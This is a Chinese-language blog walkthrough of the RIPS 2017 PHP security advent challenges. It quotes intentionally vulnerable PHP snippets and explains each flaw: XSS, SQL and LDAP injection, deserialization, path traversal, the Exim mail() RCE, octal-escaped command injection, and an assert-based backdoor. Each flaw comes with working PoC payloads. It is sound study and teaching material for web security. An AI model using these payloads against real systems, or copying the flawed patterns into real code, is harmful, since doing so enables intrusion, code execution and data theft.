0x01 Wish List
Source:
class Challenge {
const UPLOAD_DIRECTORY = './solutions/';
private $file;
private $whitelist;
public function __construct($file) {
$this->file = $file;
$this->whitelist = range(1, 24);
}
public function __destruct() {
if (in_array($this->file['name'], $this->whitelist)) {
move_uploaded_file(
$this->file['tmp_name'],
self::UPLOAD_DIRECTORY . $this->file['name']
);
}
}
}
$challenge = new Challenge($_FILES['solution']);
这里的漏洞是有关于in_array
可被绕过.
in_array
bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] )
其中第三个参数如果没有被设置为True
就会忽略对$needle
进行类型检查,所以可以直接被绕过.
0x02 Twig
Source:
require 'vendor/autoload.php';
class Template {
private $twig;
public function __construct() {
$indexTemplate = '<img ' .
'src="https://loremflickr.com/320/240">' .
'<a href="{{link|escape}}">Next slide »</a>';
// Default twig setup, simulate loading
// index.html file from disk
$loader = new Twig\Loader\ArrayLoader([
'index.html' => $indexTemplate
]);
$this->twig = new Twig\Environment($loader);
}
public function getNexSlideUrl() {
$nextSlide = $_GET['nextSlide'];
return filter_var($nextSlide, FILTER_VALIDATE_URL);
}
public function render() {
echo $this->twig->render(
'index.html',
['link' => $this->getNexSlideUrl()]
);
}
}
(new Template())->render();
这里的漏洞是关于filter_var
以及{{link|escape}}
,导致产生xss.
filter_var
mixed filter_var ( mixed $variable [, int $filter = FILTER_DEFAULT [, mixed $options ]] )
其中题中的FILTER_VALIDATE_URL
是过滤关于URL的.
由于并没有对像javascript/vbscript
伪协议进行过滤.
但是这个地方有个坑就是一般的写法javascript:alert(1)
是没有办法绕过filter_var
,这里的写法是javascript://comment%0aalert(1)
.
换了个相似的环境测试.
$url = "javascript://comment%0aalert(1)";
if(!filter_var($url, FILTER_VALIDATE_URL))
{
echo "URL is not valid";
}
else
{
echo "URL is valid";
}
$url = htmlentities($url);
echo "<a href='$url'>Next slide »</a>";
仅仅测试javascript
成功,vbscript
限制太大(需要iE10及其以下).
0x03 Snow Flake
Source:
function __autoload($className) {
include $className;
}
$controllerName = $_GET['c'];
$data = $_GET['d'];
if (class_exists($controllerName)) {
$controller = new $controllerName($data['t'], $data['v']);
$controller->render();
} else {
echo 'There is no page with this name';
}
class HomeController {
private $template;
private $variables;
public function __construct($template, $variables) {
$this->template = $template;
$this->variables = $variables;
}
public function render() {
if ($this->variables['new']) {
echo 'controller rendering new response';
} else {
echo 'controller rendering old response';
}
}
}
这段代码有两处漏洞,一处是在class_exists()
,另一处在new $controllerName()
.
class_exists
bool class_exists ( string $class_name [, bool $autoload = true ] )
其中第二个参数决定是否默认调用__autoload
,这样就能造成一个任意文件读取的漏洞.由于__autoload
在5.3之后已经被弃用了,所以版本仅限于5.3及其之前.
poc1:
http://localhost:4399/rips2017/Snow%20Flake.php?c=../info.php
在new $controllerName()
这个地方可以引入一些危险的函数,例如SimpleXMLElement
来构成一个XXE攻击.(在复现的时候由于缺失render
方法失败)
0x03 False Beard
Source:
class Login {
public function __construct($user, $pass) {
$this->loginViaXml($user, $pass);
}
public function loginViaXml($user, $pass) {
if (
(!strpos($user, '<') || !strpos($user, '>')) &&
(!strpos($pass, '<') || !strpos($pass, '>'))
) {
$format = '<?xml version="1.0"?>' .
'<user v="%s"/><pass v="%s"/>';
$xml = sprintf($format, $user, $pass);
$xmlElement = new SimpleXMLElement($xml);
// Perform the actual login.
$this->login($xmlElement);
}
}
}
new Login($_POST['username'], $_POST['password']);
这个存在漏洞的地方是SimpleXMLElement
.
虽然之前有strpos
函数进行过滤,但是可以被绕过.
strpos
mixed strpos ( string $haystack , mixed $needle [, int $offset = 0 ] )
代码中if
判断可以通过让strpost
返回0
进行绕过.之后就可以进行XML的注入了.(同样在这里复现XXE失败,没有办法解决语法出错的情况)
Poc:
username=<"><injected-tag%20property="&pass=<injected-tag>user=<"><injected-tag%20property="&password=<injected-tag>
0x04 Postcard
Source:
class Mailer {
private function sanitize($email) {
if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
return '';
}
return escapeshellarg($email);
}
public function send($data) {
if (!isset($data['to'])) {
$data['to'] = 'none@ripstech.com';
} else {
$data['to'] = $this->sanitize($data['to']);
}
if (!isset($data['from'])) {
$data['from'] = 'none@ripstech.com';
} else {
$data['from'] = $this->sanitize($data['from']);
}
if (!isset($data['subject'])) {
$data['subject'] = 'No Subject';
}
if (!isset($data['message'])) {
$data['message'] = '';
}
mail($data['to'], $data['subject'], $data['message'],
'', "-f" . $data['from']);
}
}
$mailer = new Mailer();
$mailer->send($_POST);
这里的存在的漏洞是mail()
.
其中第五个参数没有过滤.并且对其他参数过滤的时候使用了FILTER_VALIDATE_EMAIL
和escapeshellarg
会造成一个漏洞.
mail()
bool mail ( string $to , string $subject , string $message [, string $additional_headers [, string $additional_parameters ]] )
由于测试环境是exim4
的所以暂时没有想到办法在from
参数中逃逸空格.这里展示exim4
的RCE情况.
<?php
// RCE via mail() vector on Exim4 MTA
// Attacker's cmd is passed on STDIN by mail() within $body
// Discovered by:
// Dawid Golunski - @dawid_golunski - https://legalhackers.com
$sender = "attacker@anyhost -be";
$body = 'Exec: ${run{/bin/bash -c "/usr/bin/id
>/tmp/id"}{yes}{no}}';
// ^ unfiltered vars, coming from attacker via GET, POST etc.
$to = "john@localhost";
$subject = "Exim RCE PoC";
$headers = "From: mike@localhost";
mail($to,$subject,$body,$headers, "-f $sender ");
?>
以上这段代码来源是Pwning-PHP-Mail-Function-For-Fun-And-RCE. 其中的写入文件的操作没有复现成功,但是可以成功的反弹shell.
FILTER_VALIDATE_EMAIL为什么不安全
这个可以参照why-mail-is-dangerous-in-php,文章中使用的sendmail MTA
.并且提到了escapeshellargs
为什么不安全.
参考链接
Pwning-PHP-Mail-Function-For-Fun-And-RCE why-mail-is-dangerous-in-php
0x06 Frost Pattern
Source:
class TokenStorage {
public function performAction($action, $data) {
switch ($action) {
case 'create':
$this->createToken($data);
break;
case 'delete':
$this->clearToken($data);
break;
default:
throw new Exception('Unknown action');
}
}
public function createToken($seed) {
$token = md5($seed);
file_put_contents('/tmp/tokens/' . $token, '...data');
}
public function clearToken($token) {
$file = preg_replace("/[^a-z.-_]/", "", $token);
unlink('/tmp/tokens/' . $file);
}
}
$storage = new TokenStorage();
$storage->performAction($_GET['action'], $_GET['data']);
这里的漏洞是preg_replace()
的正则表达式有误导致被绕过,从而造成任意文件删除.
本来本意是要把不属于.
和_
之间的非a-z
字符替换为空,但是其中的-
没有使用\
转义,导致整个正则失去作用.
正确的形式可以是[^a-z\.\-_]
.
Poc:
action=delete&data=../../config.phpaction=delete&data=../../../../../../config.php
0x07 Bells
Source:
function getUser($id) {
global $config, $db;
if (!is_resource($db)) {
$db = new MySQLi(
$config['dbhost'],
$config['dbuser'],
$config['dbpass'],
$config['dbname']
);
}
$sql = "SELECT username FROM users WHERE id = ?";
$stmt = $db->prepare($sql);
$stmt->bind_param('i', $id);
$stmt->bind_result($name);
$stmt->execute();
$stmt->fetch();
return $name;
}
$var = parse_url($_SERVER['HTTP_REFERER']);
parse_str($var['query']);
$currentUser = getUser($id);
echo '<h1>'.htmlspecialchars($currentUser).'</h1>';
这里的漏洞是parse_str()
没有设置第二个参数,导致变量可以被覆盖,这样就能把config
替换成恶意的数据库,从而返回的username
可控.
paser_str
void parse_str ( string $encoded_string [, array &$result ] )
在php7.2中,如果没有设置第二参数将会被弃用. Poc:
Referer: http://127.0.0.1:4399/?id=1&config[dbhost]=127.0.0.1&config[dbuser]=xxx&config[dbpass]=xxx&config[dbname]=xxx
0x08 Candle
Source:
header("Content-Type: text/plain");
function complexStrtolower($regex, $value) {
return preg_replace(
'/(' . $regex . ')/ei',
'strtolower("\\1")',
$value
);
}
foreach ($_GET as $regex => $value) {
echo complexStrtolower($regex, $value) . "\n";
}
这里的漏洞是preg_replace()
,由于其正则表达式使用了e
模式,之后处理不到会导致任意代码执行.
preg_replace
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
其中$pattern
的e
模式已经在php5.5.0
被弃用,php7.0
已经移除了.
Poc:
Offical:/?.*={${phpinfo()}}
Per:?\S*={${phpinfo()}}
针对官方的poc,会与php的参数准测产生冲突,因为.
会被处理成_
.
0x09 Rabbit
Source:
class LanguageManager
{
public function loadLanguage()
{
$lang = $this->getBrowserLanguage();
$sanitizedLang = $this->sanitizeLanguage($lang);
require_once("/lang/$sanitizedLang");
}
private function getBrowserLanguage()
{
$lang = $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? 'en';
return $lang;
}
private function sanitizeLanguage($language)
{
return str_replace('../', '', $language);
}
}
(new LanguageManager())->loadLanguage();
这个漏洞在于str_replace()
过滤时不严谨被绕过,导致任意文件读取
$_SERVER[‘HTTP_ACCEPT_LANGUAGE’]
用一段示例代码测试:
$lang = $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? 'en';
echo "/lang/".str_replace('../','',$lang);
Poc:
Accept-Language: ....//....//....//....//etc/passwd
0x10 Anticipation
Source:
extract($_POST);
function goAway() {
error_log("Hacking attempt.");
header('Location: /error/');
}
if (!isset($pi) || !is_numeric($pi)) {
goAway();
}
if (!assert("(int)$pi == 3")) {
echo "This is not pi.";
} else {
echo "This might be pi.";
}
这里的漏洞是assert()
会造成一个命令注入.
其中在做跳转的时候没有使用exit()
结束脚本,导致即使通过header()
跳转了,但是脚本还是在执行.
is_numeric
bool is_numeric ( mixed $var )
在php7
之前可以使用十六进制,之后就不行了.
Poc:
pi=phpinfo()
0x11 Pumpkin Pie
class Template {
public $cacheFile = '/tmp/cachefile';
public $template = '<div>Welcome back %s</div>';
public function __construct($data = null) {
$data = $this->loadData($data);
$this->render($data);
}
public function loadData($data) {
if (substr($data, 0, 2) !== 'O:'
&& !preg_match('/O:\d:\/', $data)) {
return unserialize($data);
}
return [];
}
public function createCache($file = null, $tpl = null) {
$file = $file ?? $this->cacheFile;
$tpl = $tpl ?? $this->template;
file_put_contents($file, $tpl);
}
public function render($data) {
echo sprintf(
$this->template,
htmlspecialchars($data['name'])
);
}
public function __destruct() {
$this->createCache();
}
}
new Template($_COOKIE['data']);
漏洞很明显的出在unserialize()
,虽然在调用之前已经对参数过滤,但可以被绕过.
unserialize
mixed unserialize ( string $str [, array $options ] )
Poc1:
<?php
class Template{
public $cacheFile = 'E:\phpStudy\WWW\tmp\info4';
public $template = '<?php phpinfo();?>';
}
$te =new Template();
$arr = array('0' => $te );
echo serialize($arr);
?>
Poc2:
a:1:{i:0;O:%2b8:"Template":2:{s:9:"cacheFile";s:25:"E:\phpStudy\WWW\tmp\info4";s:8:"template";s:18:"<?php phpinfo();?>";}}
Poc2是由Poc1生成之后经过修改的,由于需要绕过if
和preg_match
过滤,if
可以使用数组进行绕过,preg_match
这个使用O:+8
h或者O:08
的形式进行绕过(具体原因我也没有找到,望知道的大佬告知一下).
其中在复现的时候,踩到一个坑,就是如果直接将Poc2
传递进Cookie的话,会因为i:0;
中的;
从而将Cookie截断,所以需要把Poc中出现的;
都修改为%3b
即可…😰
其中还有个问题是在php7.2
的时候已经不支持+
这种写法了.
最后发一个大哥关于PHP反序列化的分析
0x12 String Lights
Source:
$sanitized = [];
foreach ($_GET as $key => $value) {
$sanitized[$key] = intval($value);
}
$queryParts = array_map(function ($key, $value) {
return $key . '=' . $value;
}, array_keys($sanitized), array_values($sanitized));
$query = implode('&', $queryParts);
echo "<a href='/images/size.php?" .
htmlentities($query) . "'>link</a>";
这里的漏洞是由于过滤不够严格,导致可以将任意代码插入<a>
中,从而导致XSS.
Poc:
%27onclick%3dalert(1)%2f%2f=1
0x13 Turkey Baster
Source:
class LoginManager {
private $em;
private $user;
private $password;
public function __construct($user, $password) {
$this->em = DoctrineManager::getEntityManager();
$this->user = $user;
$this->password = $password;
}
public function isValid() {
$user = $this->sanitizeInput($this->user);
$pass = $this->sanitizeInput($this->password);
$queryBuilder = $this->em->createQueryBuilder()
->select("COUNT(p)")
->from("User", "u")
->where("user = '$user' AND password = '$pass'");
$query = $queryBuilder->getQuery();
return boolval($query->getSingleScalarResult());
}
public function sanitizeInput($input, $length = 20) {
$input = addslashes($input);
if (strlen($input) > $length) {
$input = substr($input, 0, $length);
}
return $input;
}
}
$auth = new LoginManager($_POST['user'], $_POST['passwd']);
if (!$auth->isValid()) {
exit;
}
这里的漏洞是sanitizeInput()
,由于过滤不够严谨,会导致注入.
Poc:
user=1234567890123456789'&passwd= or 1=1 -
0x14 Snowman
Source:
class Carrot {
const EXTERNAL_DIRECTORY = '/tmp/';
private $id;
private $lost = 0;
private $bought = 0;
public function __construct($input) {
$this->id = rand(1, 1000);
foreach ($input as $field => $count) {
$this->$field = $count++;
}
}
public function __destruct() {
file_put_contents(
self::EXTERNAL_DIRECTORY . $this->id,
var_export(get_object_vars($this), true)
);
}
}
$carrot = new Carrot($_GET);
这里的漏洞是由于$this->id
可以被变量覆盖,从而导致了任意文件覆盖.
get_object_vars
array get_object_vars ( object $object )
这个函数可以做一些过滤.
Poc:
?id=<file_path>
Sleigh Ride
Source:
class Redirect {
private $websiteHost = 'www.example.com';
private function setHeaders($url) {
$url = urldecode($url);
header("Location: $url");
}
public function startRedirect($params) {
$parts = explode('/', $_SERVER['PHP_SELF']);
$baseFile = end($parts);
$url = sprintf(
"%s?%s",
$baseFile,
http_build_query($params)
);
$this->setHeaders($url);
}
}
if ($_GET['redirect']) {
(new Redirect())->startRedirect($_GET['params']);
}
这里的漏洞是由于在获取parts
时,会造成一个任意重定向的漏洞.
Poc:
Sleigh%20Ride.php/http:%252f%252fover-rainbow.cn?redirect=1
Poem
Source:
class FTP {
public $sock;
public function __construct($host, $port, $user, $pass) {
$this->sock = fsockopen($host, $port);
$this->login($user, $pass);
$this->cleanInput();
$this->mode($_REQUEST['mode']);
$this->send($_FILES['file']);
}
private function cleanInput() {
$_GET = array_map('intval', $_GET);
$_POST = array_map('intval', $_POST);
$_COOKIE = array_map('intval', $_COOKIE);
}
public function login($username, $password) {
fwrite($this->sock, "USER " . $username . "\n");
fwrite($this->sock, "PASS " . $password . "\n");
}
public function mode($mode) {
if ($mode == 1 || $mode == 2 || $mode == 3) {
fputs($this->sock, "MODE $mode\n");
}
}
public function send($data) {
fputs($this->sock, $data);
}
}
new FTP('localhost', 21, 'user', 'password');
这里的漏洞是fputs()
,虽然之前对$_GET
、$_POST
、$_COOKIE
都做了过滤,但是$mode
是通过$_REQUEST
获取的,所以可以被绕过.这样就能像FTP连接中注入数据了.
Poc:
1%0a%0dDELETE%20Poem.file //删除user用户目录瞎的Poem.file
但是在复现的时候失败了…本地FTP连接上之后使用DELETE
删除文件没有问题…
0x17
Source:
class RealSecureLoginManager {
private $em;
private $user;
private $password;
public function __construct($user, $password) {
$this->em = DoctrineManager::getEntityManager();
$this->user = $user;
$this->password = $password;
}
public function isValid() {
$pass = md5($this->password, true);
$user = $this->sanitizeInput($this->user);
$queryBuilder = $this->em->createQueryBuilder()
->select("COUNT(p)")
->from("User", "u")
->where("password = '$pass' AND user = '$user'");
$query = $queryBuilder->getQuery();
return boolval($query->getSingleScalarResult());
}
public function sanitizeInput($input) {
return addslashes($input);
}
}
$auth = new RealSecureLoginManager(
$_POST['user'],
$_POST['passwd']
);
if (!$auth->isValid()) {
exit;
}
这里的漏洞出在md5()
,因为设置了第二个参数,所以导致可能产生意想不到的结果,导致被绕过.
md5
string md5 ( string $str [, bool $raw_output = false ] )
第二个参数被设置之后将会返回长度为16的原始二进制格式. 用个简单的示例
$pass = $_POST['passwd'];
$user = addslashes($_POST['user']);
$pass = md5($pass , true);
$sql = "select * from users where password='$pass' and user='$user' ";
var_dump($sql);
Poc:
passwd=128&user= or and 1=1 --
0x18 Sign
Source:
class JWT {
public function verifyToken($data, $signature) {
$pub = openssl_pkey_get_public("file://pub_key.pem");
$signature = base64_decode($signature);
if (openssl_verify($data, $signature, $pub)) {
$object = json_decode(base64_decode($data));
$this->loginAsUser($object);
}
}
}
(new JWT())->verifyToken($_GET['d'], $_GET['s']);
这里的漏洞出在openssl_verify()
,由于这个函数能返回0
、1
、-1
三个值,所以可以导致这个判断被绕过.
只要使用不匹配的签名和公钥就行了.
0x19 Birch
class ImageViewer {
private $file;
function __construct($file) {
$this->file = "images/$file";
$this->createThumbnail();
}
function createThumbnail() {
$e = stripcslashes(
preg_replace(
'/[^0-9\\\]/',
'',
isset($_GET['size']) ? $_GET['size'] : '25'
)
);
system("/usr/bin/convert {$this->file} --resize $e
./thumbs/{$this->file}");
}
function __toString() {
return "<a href={$this->file}>
<img src=./thumbs/{$this->file}></a>";
}
}
echo (new ImageViewer("image.png"));
这里漏洞是利用stripcslashes()
可以解析八进制的字符串,导致命令执行.
stripcslashes
string stripcslashes ( string $str )
Poc:
size=\174\174\167\150\157\141\155\151\174\174 // ||whoami||
0x20 Stocking
Source:
set_error_handler(function ($no, $str, $file, $line) {
throw new ErrorException($str, 0, $no, $file, $line);
}, E_ALL);
class ImageLoader
{
public function getResult($uri)
{
if (!filter_var($uri, FILTER_VALIDATE_URL)) {
return '<p>Please enter valid uri</p>';
}
try {
$image = file_get_contents($uri);
$path = "./images/" . uniqid() . '.jpg';
file_put_contents($path, $image);
if (mime_content_type($path) !== 'image/jpeg') {
unlink($path);
return '<p>Only .jpg files allowed</p>';
}
} catch (Exception $e) {
return '<p>There was an error: ' .
$e->getMessage() . '</p>';
}
return '<img src="' . $path . '" width="100"/>';
}
}
echo (new ImageLoader())->getResult($_GET['img']);
这里的漏洞在于file_get_contents
没有对参数值做任何过滤,导致其可以去请求内网中的服务,从而泄露敏感消息.
其中mime_content_type
在php5.3就已经被弃用了.在php7.0已经不能使用了.
Poc:
?img=http://127.0.0.1:21
0x21 Gift Wrap
Source:
declare(strict_types=1);
class ParamExtractor {
private $validIndices = [];
private function indices($input) {
$validate = function (int $value, $key) {
if ($value > 0) {
$this->validIndices[] = $key;
}
};
try {
array_walk($input, $validate, 0);
} catch (TypeError $error) {
echo "Only numbers are allowed as input";
}
return $this->validIndices;
}
public function getCommand($parameters) {
$indices = $this->indices($parameters);
$params = [];
foreach ($indices as $index) {
$params[] = $parameters[$index];
}
return implode($params, ' ');
}
}
$cmd = (new ParamExtractor())->getCommand($_GET['p']);
system('resizeImg image.png ' . $cmd);
这里的漏洞出现在array_walk()
,这个函数采用了弱类型,导致最开始设置的declared(strict_types=1)
没有在类型错误的时候从而触发TypeError
,从而导致了命令执行.
array_walk
bool array_walk ( array &$array , callable $callback [, mixed $userdata = NULL ] )
declare
关于strict
参数瞅这里
Poc:
?p[0]=1||whoami||&p[1]=2
0x21 Chimeny
Source:
if (isset($_POST['password'])) {
setcookie('hash', md5($_POST['password']));
header("Refresh: 0");
exit;
}
$password = '0e836584205638841937695747769655';
if (!isset($_COOKIE['hash'])) {
echo '<form><input type="password" name="password" />'
. '<input type="submit" value="Login" ></form >';
exit;
} elseif (md5($_COOKIE['hash']) == $password) {
echo 'Login succeeded';
} else {
echo 'Login failed';
}
这个漏洞是由php的弱类型引起的,并且由于可以直接传递Cookie
,导致可以绕过设置Cookie
的步骤.
Poc:
Cookie:hash=QNKCDZO
0x22 Cookie
Source:
class LDAPAuthenticator {
public $conn;
public $host;
function __construct($host = "localhost") {
$this->host = $host;
}
function authenticate($user, $pass) {
$result = [];
$this->conn = ldap_connect($this->host);
ldap_set_option(
$this->conn,
LDAP_OPT_PROTOCOL_VERSION,
3
);
if (!@ldap_bind($this->conn))
return -1;
$user = ldap_escape($user, null, LDAP_ESCAPE_DN);
$pass = ldap_escape($pass, null, LDAP_ESCAPE_DN);
$result = ldap_search(
$this->conn,
"",
"(&(uid=$user)(userPassword=$pass))"
);
$result = ldap_get_entries($this->conn, $result);
return ($result["count"] > 0 ? 1 : 0);
}
}
if(isset($_GET["u"]) && isset($_GET["p"])) {
$ldap = new LDAPAuthenticator();
if ($ldap->authenticate($_GET["u"], $_GET["p"])) {
echo "You are now logged in!";
} else {
echo "Username or password unknown!";
}
}
这里的漏洞出在ldap_escape
,由于其使用LDAP_ESCAPE_DN
作为Flag,导致过滤无效.
ldap_escape
string ldap_escape ( string $value [, string $ignore [, int $flags ]] )
Poc:
u=*&p=*
0x24 Nutcracker
Source:
$GLOBALS
=
$GLOBALS{next}
=
next($GLOBALS{'GLOBALS'})[
$GLOBALS['next']['next']
=
next($GLOBALS)['GLOBALS']
][
$next['GLOBALS']
=
next($GLOBALS[GLOBALS]['GLOBALS'])[
$next['next']
]
][
$next['GLOBALS'] = next($next['GLOBALS'])
][
$GLOBALS[next]['next'](
$GLOBALS['next']{'GLOBALS'}
)
]
=
next(neXt(${'next'}['next']));
这里是一道Hack.lu CTF的题目,目的是寻找后门.
关于$GLOBALS
中的顺序
- 首先一开始是第5行的
next
之后,返回值是$_POST
; - 接着看到
$_POST
之后的数组键名,第8行的next
之后,返回的就是$_COOKIE
,这样的话就是$_POST[$GLOBALS['next']['next']=$_COOKIE['GLOBALS']]
; - 接着第12行的
next
之后,返回的就是$_FILE
了,此时就是$_POST[$GLOBALS['next']['next']=$_COOKIE['GLOBALS'][$next['GLOBALS']=$_FILE[$_COOKIE['GLOBALS']]]
,因为$GLOBALS['next']['next']
和$next['next']
是相等的; - 最后第16行的
next
之后,返回的就是$_FILE[$_COOKIE['GLOBALS']]['type']
,变成了$_POST[$GLOBALS['next']['next']=$_COOKIE['GLOBALS'][$next['GLOBALS']=$_FILE[$_COOKIE['GLOBALS']]][$next['GLOBALS']=$_FILE[$_COOKIE['GLOBALS']]['type']]
; - 之后的
$GLOBALS[next]['next']($GLOBALS['next']{'GLOBALS'})
相当于$_COOKIE['GLOBALS']($_FILE[$_COOKIE['GLOBALS']]['type'])
,这儿就是可以利用的后门.
其中详细说明也给出了分析的步骤.
Poc:
/Nutcrack.php?cmd=whoami HTTP/1.1
...
Cookie: GLOBALS=assert
Content-Disposition: form-data; name="assert"; filename="Nutcrack_poc"
Content-Type: system($_GET['cmd']);
其中在php7中assert
已经变成了语言结构,不能再这里使用.
(ง •_•)ง 2018-02-01 21:44:24 星期四